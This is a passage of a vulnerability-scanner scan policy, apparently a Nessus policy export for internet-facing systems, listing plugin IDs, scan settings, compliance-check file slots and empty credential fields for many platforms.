6014;69953;59530;73577;83475;34414;66545;65548;35221;31850;66234;90711;10763;69985;104386;21168;21214;69032;79251;62480;60017;58351;85540;31718;22877;34725;49044;103139;21689;24898;14626;46841;81492;35742;64827;57364;10124;59644;72907;44067;93845;79577;73490;77861;25148;84401;100718;22296;34475;58597;19696;56379;92413;12064;103514;83036;46860;99763;33942;58517;17161;19287;76257;104459;30202;78031;11675;38718;91781;95874;83349;41646;42964;90067;63644;44414;35703;200027;78556;34109;18084;21019;85254;15966;21221;10911;34197;21235;100955;11586;100682;58007;52544;15783;100784;104575;84008;24999;14683;51389;77158;76261;51774;63619;29308;69832;59117;57617;59113;54618;103569;20991;62581;49701;42878;10022;15611;73613;79826;62688;11363;18202;12278;11720;11577;59111;11906;70849;47898;69317;57769;11131;92492;58446;62925;31193;11058;10435;94162;10538;53848;35766;100321;49774;91004;18246;72704;10637;72487;85895;61381;104102;34119;76125;65764;84745;34096;84736;76527;99169;57027;11327;72141;59733;20320;53223;25147;19313;63346;10953;18375;19707;103303;101525;97525;20827;35073;35361;11931;67247;17714;62641;16271;83361;10735;10959;59788;56633;74251;90197;14682;35374;70744;79664;87675;20112;88644;44945;58603;14237;93817;87734;25251;77162;76462;20841;15651;44422;104049;84640;103987;56314; + +TARGET +https://www.example.org + +throttle_scan +yes + +listen_address +0.0.0.0 + +local_portscan.snmp +yes + +non_simult_ports +139, 445, 3389 + +slice_network_addresses +no + +local_portscan.netstat_ssh +yes + +max_checks +5 + +network_scanners.syn +yes + +stop_scan_on_disconnect +yes + +report_crashes +yes + +xmlrpc_listen_port +8834 + +network_scanners.tcp +no + +ui.aws.region_category +Rest of the World + +name +MYCONFIG + +description +MYCONFIG default policy for internet-facing systems. + +whoami +daspi + +reverse_lookup +no + +optimize_test +yes + +log_whole_attack +yes + +portscan.ping +yes + +ssl_cipher_list +strong + +cgi_path +/cgi-bin:/scripts + +unscanned_closed +no + +auto_update_ui +no + +use_kernel_congestion_detection +yes + +auto_update +no + +listen_port +1241 + +network_scanners.udp +no + +checks_read_timeout +5 + +local_portscan.netstat_wmi +yes + +plugins_timeout +1800 + +auto_enable_dependencies +yes + +safe_checks +yes + +report_task_id +4eda8969-138e-2e3c-b2ca-c158d96fd1eb28379e2a45568f53 + +stop_scan_on_hang +no + +visibility +private + +allow_post_scan_editing +yes + +wizard_uuid +ad629e16-03b6-8c1d-cef6-ef8c9dd3c658d24bd260ef5f9e66 + +max_hosts +100 + +plugin_upload +yes + +reduce_connections_on_congestion +no + +feed_type +ProFeed + +silent_dependencies +yes + +port_range +default + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Controller : +Domain Controller : +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain : +Domain : +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Username : +Domain Username : +entry + + + +ADSI Settings +60024 +ADSI Settings[password]:Domain Password : +Domain Password : +password + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Controller 2: +Domain Controller 2: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain 2: +Domain 2: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Username 2: +Domain Username 2: +entry + + + +ADSI Settings +60024 +ADSI Settings[password]:Domain Password 2: +Domain Password 2: +password + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Controller 3: +Domain Controller 3: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain 3: +Domain 3: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Username 3: +Domain Username 3: +entry + + + +ADSI Settings +60024 +ADSI Settings[password]:Domain Password 3: +Domain Password 3: +password + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Controller 4: +Domain Controller 4: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain 4: +Domain 4: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Username 4: +Domain Username 4: +entry + + + +ADSI Settings +60024 +ADSI Settings[password]:Domain Password 4: +Domain Password 4: +password + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Controller 5: +Domain Controller 5: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain 5: +Domain 5: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Username 5: +Domain Username 5: +entry + + + +ADSI Settings +60024 +ADSI Settings[password]:Domain Password 5: +Domain Password 5: +password + + + +AirWatch API Settings +76460 +AirWatch API Settings[entry]:AirWatch Environment API URL : +AirWatch Environment API URL : +entry + + + +AirWatch API Settings +76460 +AirWatch API Settings[entry]:AirWatch port : +AirWatch port : +entry + + + +AirWatch API Settings +76460 +AirWatch API Settings[entry]:AirWatch username : +AirWatch username : +entry + + + +AirWatch API Settings +76460 +AirWatch API Settings[password]:AirWatch password : +AirWatch password : +password + + + +AirWatch API Settings +76460 +AirWatch API Settings[entry]:AirWatch API key : +AirWatch API key : +entry + + + +AirWatch API Settings +76460 +AirWatch API Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +AirWatch API Settings +76460 +AirWatch API Settings[checkbox]:Verify SSL certificate : +Verify SSL certificate : +checkbox +no +no + +Amazon AWS Compliance Checks +72426 +Amazon AWS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Amazon AWS Compliance Checks +72426 +Amazon AWS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Amazon AWS Compliance Checks +72426 +Amazon AWS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Amazon AWS Compliance Checks +72426 +Amazon AWS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Amazon AWS Compliance Checks +72426 +Amazon AWS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Antivirus Software Check +16193 +Antivirus Software Check[entry]:Delay (in days, between 0 and 7) : +Delay (in days, between 0 and 7) : +entry +0 +0 + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[entry]:Apple Profile Manager server : +Apple Profile Manager server : +entry + + + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[entry]:Apple Profile Manager port : +Apple Profile Manager port : +entry +443 +443 + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[entry]:Apple Profile Manager username : +Apple Profile Manager username : +entry + + + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[password]:Apple Profile Manager password : +Apple Profile Manager password : +password + + + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[checkbox]:Force Device Updates : +Force Device Updates : +checkbox +yes +yes + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[entry]:Device Update Timeout (Minutes) : +Device Update Timeout (Minutes) : +entry +5 +5 + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region us-east-1 : +Region us-east-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region us-east-2 : +Region us-east-2 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region us-west-1 : +Region us-west-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region us-west-2 : +Region us-west-2 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region eu-west-1 : +Region eu-west-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region eu-west-2 : +Region eu-west-2 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region eu-central-1 : +Region eu-central-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ap-northeast-1 : +Region ap-northeast-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ap-northeast-2 : +Region ap-northeast-2 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ap-southeast-1 : +Region ap-southeast-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ap-southeast-2 : +Region ap-southeast-2 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ap-south-1 : +Region ap-south-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region sa-east-1 : +Region sa-east-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region cn-north-1 : +Region cn-north-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region us-gov-west-1 : +Region us-gov-west-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ca-central-1 : +Region ca-central-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[password]:AWS Access Key ID : +AWS Access Key ID : +password + + + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[password]:AWS Secret Access Key : +AWS Secret Access Key : +password + + + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +yes +yes + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[radio]:IOS Config File To Audit : +IOS Config File To Audit : +radio +Saved/(show config);Running/(show running);Startup/(show startup) +Saved/(show config) + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Citrix XenServer Compliance Checks +69512 +Citrix XenServer Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Citrix XenServer Compliance Checks +69512 +Citrix XenServer Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Citrix XenServer Compliance Checks +69512 +Citrix XenServer Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Citrix XenServer Compliance Checks +69512 +Citrix XenServer Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Citrix XenServer Compliance Checks +69512 +Citrix XenServer Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Cleartext protocols settings +21744 +Cleartext protocols settings[entry]:User name : +User name : +entry + + + +Cleartext protocols settings +21744 +Cleartext protocols settings[password]:Password (unsafe!) : +Password (unsafe!) : +password + + + +Cleartext protocols settings +21744 +Cleartext protocols settings[checkbox]:Try to perform patch level checks over telnet +Try to perform patch level checks over telnet +checkbox +no +no + +Cleartext protocols settings +21744 +Cleartext protocols settings[checkbox]:Try to perform patch level checks over rsh +Try to perform patch level checks over rsh +checkbox +no +no + +Cleartext protocols settings +21744 +Cleartext protocols settings[checkbox]:Try to perform patch level checks over rexec +Try to perform patch level checks over rexec +checkbox +no +no + +Windows File Contents Compliance Checks +24760 +Windows File Contents Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Windows File Contents Compliance Checks +24760 +Windows File Contents Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Windows File Contents Compliance Checks +24760 +Windows File Contents Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Windows File Contents Compliance Checks +24760 +Windows File Contents Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Windows File Contents Compliance Checks +24760 +Windows File Contents Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Windows Compliance Checks +21156 +Windows Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Windows Compliance Checks +21156 +Windows Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Windows Compliance Checks +21156 +Windows Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Windows Compliance Checks +21156 +Windows Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Windows Compliance Checks +21156 +Windows Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Database settings +33815 +Database settings[radio]:DB Type : +DB Type : +radio +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + +Database settings +33815 +Database settings[radio]:Database service type : +Database service type : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Database settings +33815 +Database settings[entry]:Database SID : +Database SID : +entry + + + +Database settings +33815 +Database settings[entry]:Database port to use : +Database port to use : +entry + + + +Database settings +33815 +Database settings[entry]:Login : +Login : +entry + + + +Database settings +33815 +Database settings[password]:Password : +Password : +password + + + +Database settings +33815 +Database settings[radio]:Oracle auth type: +Oracle auth type: +radio +NORMAL;SYSOPER;SYSDBA +NORMAL;SYSOPER;SYSDBA + +Database settings +33815 +Database settings[radio]:SQL Server auth type: +SQL Server auth type: +radio +Windows;SQL +Windows;SQL + +Database settings +33815 +Database settings[radio]:Sybase ASE auth type: +Sybase ASE auth type: +radio +RSA;Plain Text +RSA;Plain Text + +Database settings +33815 +Database settings[radio]:Additional DB Type (1) : +Additional DB Type (1) : +radio +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + +Database settings +33815 +Database settings[radio]:Additional Database service type (1) : +Additional Database service type (1) : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Database settings +33815 +Database settings[entry]:Additional Database SID (1) : +Additional Database SID (1) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Database port to use (1) : +Additional Database port to use (1) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Login (1) : +Additional Login (1) : +entry + + + +Database settings +33815 +Database settings[password]:Additional Password (1) : +Additional Password (1) : +password + + + +Database settings +33815 +Database settings[radio]:Additional Oracle auth type (1) : +Additional Oracle auth type (1) : +radio +NORMAL;SYSOPER;SYSDBA +NORMAL;SYSOPER;SYSDBA + +Database settings +33815 +Database settings[radio]:Additional SQL Server auth type (1) : +Additional SQL Server auth type (1) : +radio +Windows;SQL +Windows;SQL + +Database settings +33815 +Database settings[radio]:Additional Sybase ASE auth type (1) : +Additional Sybase ASE auth type (1) : +radio +RSA;Plain Text +RSA;Plain Text + +Database settings +33815 +Database settings[radio]:Additional DB Type (2) : +Additional DB Type (2) : +radio +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + +Database settings +33815 +Database settings[radio]:Additional Database service type (2) : +Additional Database service type (2) : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Database settings +33815 +Database settings[entry]:Additional Database SID (2) : +Additional Database SID (2) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Database port to use (2) : +Additional Database port to use (2) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Login (2) : +Additional Login (2) : +entry + + + +Database settings +33815 +Database settings[password]:Additional Password (2) : +Additional Password (2) : +password + + + +Database settings +33815 +Database settings[radio]:Additional Oracle auth type (2) : +Additional Oracle auth type (2) : +radio +NORMAL;SYSOPER;SYSDBA +NORMAL;SYSOPER;SYSDBA + +Database settings +33815 +Database settings[radio]:Additional SQL Server auth type (2) : +Additional SQL Server auth type (2) : +radio +Windows;SQL +Windows;SQL + +Database settings +33815 +Database settings[radio]:Additional Sybase ASE auth type (2) : +Additional Sybase ASE auth type (2) : +radio +RSA;Plain Text +RSA;Plain Text + +Database settings +33815 +Database settings[radio]:Additional DB Type (3) : +Additional DB Type (3) : +radio +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + +Database settings +33815 +Database settings[radio]:Additional Database service type (3) : +Additional Database service type (3) : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Database settings +33815 +Database settings[entry]:Additional Database SID (3) : +Additional Database SID (3) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Database port to use (3) : +Additional Database port to use (3) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Login (3) : +Additional Login (3) : +entry + + + +Database settings +33815 +Database settings[password]:Additional Password (3) : +Additional Password (3) : +password + + + +Database settings +33815 +Database settings[radio]:Additional Oracle auth type (3) : +Additional Oracle auth type (3) : +radio +NORMAL;SYSOPER;SYSDBA +NORMAL;SYSOPER;SYSDBA + +Database settings +33815 +Database settings[radio]:Additional SQL Server auth type (3) : +Additional SQL Server auth type (3) : +radio +Windows;SQL +Windows;SQL + +Database settings +33815 +Database settings[radio]:Additional Sybase ASE auth type (3) : +Additional Sybase ASE auth type (3) : +radio +RSA;Plain Text +RSA;Plain Text + +Database settings +33815 +Database settings[radio]:Additional DB Type (4) : +Additional DB Type (4) : +radio +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + +Database settings +33815 +Database settings[radio]:Additional Database service type (4) : +Additional Database service type (4) : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Database settings +33815 +Database settings[entry]:Additional Database SID (4) : +Additional Database SID (4) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Database port to use (4) : +Additional Database port to use (4) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Login (4) : +Additional Login (4) : +entry + + + +Database settings +33815 +Database settings[password]:Additional Password (4) : +Additional Password (4) : +password + + + +Database settings +33815 +Database settings[radio]:Additional Oracle auth type (4) : +Additional Oracle auth type (4) : +radio +NORMAL;SYSOPER;SYSDBA +NORMAL;SYSOPER;SYSDBA + +Database settings +33815 +Database settings[radio]:Additional SQL Server auth type (4) : +Additional SQL Server auth type (4) : +radio +Windows;SQL +Windows;SQL + +Database settings +33815 +Database settings[radio]:Additional Sybase ASE auth type (4) : +Additional Sybase ASE auth type (4) : +radio +RSA;Plain Text +RSA;Plain Text + +Database Compliance Checks +33814 +Database Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Database Compliance Checks +33814 +Database Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Database Compliance Checks +33814 +Database Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Database Compliance Checks +33814 +Database Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Database Compliance Checks +33814 +Database Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Patch Management: Dell KACE K1000 Settings +76866 +Patch Management: Dell KACE K1000 Settings[entry]:K1000 Address : +K1000 Address : +entry + + + +Patch Management: Dell KACE K1000 Settings +76866 +Patch Management: Dell KACE K1000 Settings[entry]:K1000 Database Port : +K1000 Database Port : +entry +3306 +3306 + +Patch Management: Dell KACE K1000 Settings +76866 +Patch Management: Dell KACE K1000 Settings[entry]:K1000 Organization Database Name : +K1000 Organization Database Name : +entry +ORG1 +ORG1 + +Patch Management: Dell KACE K1000 Settings +76866 +Patch Management: Dell KACE K1000 Settings[entry]:K1000 Database Username : +K1000 Database Username : +entry +R1 +R1 + +Patch Management: Dell KACE K1000 Settings +76866 +Patch Management: Dell KACE K1000 Settings[password]:K1000 Database Password : +K1000 Database Password : +password + + + +Do not scan fragile devices +22481 +Do not scan fragile devices[checkbox]:Scan Network Printers +Scan Network Printers +checkbox +no +no + +Do not scan fragile devices +22481 +Do not scan fragile devices[checkbox]:Scan Novell Netware hosts +Scan Novell Netware hosts +checkbox +no +no + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Extreme ExtremeXOS Compliance Checks +73156 +Extreme ExtremeXOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Service Detection +22964 +Service Detection[radio]:Test SSL based services +Test SSL based services +radio +Known SSL ports;All;None +All ports + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +FireEye Compliance Checks +70469 +FireEye Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Fortigate FortiOS Compliance Checks +70272 +Fortigate FortiOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Global variable settings +12288 +Global variable settings[checkbox]:Probe services on every port +Probe services on every port +checkbox +yes +yes + +Global variable settings +12288 +Global variable settings[checkbox]:Do not log in with user accounts not specified in the policy +Do not log in with user accounts not specified in the policy +checkbox +no +yes + +Global variable settings +12288 +Global variable settings[checkbox]:Enable CGI scanning +Enable CGI scanning +checkbox +no +no + +Global variable settings +12288 +Global variable settings[radio]:Network type +Network type +radio +Mixed (use RFC 1918);Private LAN;Public WAN (Internet) +Mixed (use RFC 1918) + +Global variable settings +12288 +Global variable settings[checkbox]:Enable experimental scripts +Enable experimental scripts +checkbox +no +no + +Global variable settings +12288 +Global variable settings[checkbox]:Thorough tests (slow) +Thorough tests (slow) +checkbox +no +no + +Global variable settings +12288 +Global variable settings[radio]:Report verbosity +Report verbosity +radio +Normal;Quiet;Verbose +Normal + +Global variable settings +12288 +Global variable settings[radio]:Report paranoia +Report paranoia +radio +Normal;Avoid false alarms;Paranoid (more false alarms) +Normal + +Global variable settings +12288 +Global variable settings[entry]:HTTP User-Agent +HTTP User-Agent +entry +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0) +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0) + +Global variable settings +12288 +Global variable settings[file]:SSL certificate to use : +SSL certificate to use : +file + + + +Global variable settings +12288 +Global variable settings[file]:SSL CA to trust : +SSL CA to trust : +file + + + +Global variable settings +12288 +Global variable settings[file]:SSL key to use : +SSL key to use : +file + + + +Global variable settings +12288 +Global variable settings[password]:SSL password for SSL key : +SSL password for SSL key : +password + + + +Global variable settings +12288 +Global variable settings[checkbox]:Enumerate all SSL ciphers +Enumerate all SSL ciphers +checkbox +yes +yes + +Global variable settings +12288 +Global variable settings[checkbox]:Enable CRL checking (connects to Internet) +Enable CRL checking (connects to Internet) +checkbox +no +no + +Global variable settings +12288 +Global variable settings[checkbox]:Enable plugin debugging +Enable plugin debugging +checkbox +no +no + +Good MDM Settings +66963 +Good MDM Settings[entry]:GMC Server : +GMC Server : +entry + + + +Good MDM Settings +66963 +Good MDM Settings[entry]:Port : +Port : +entry + + + +Good MDM Settings 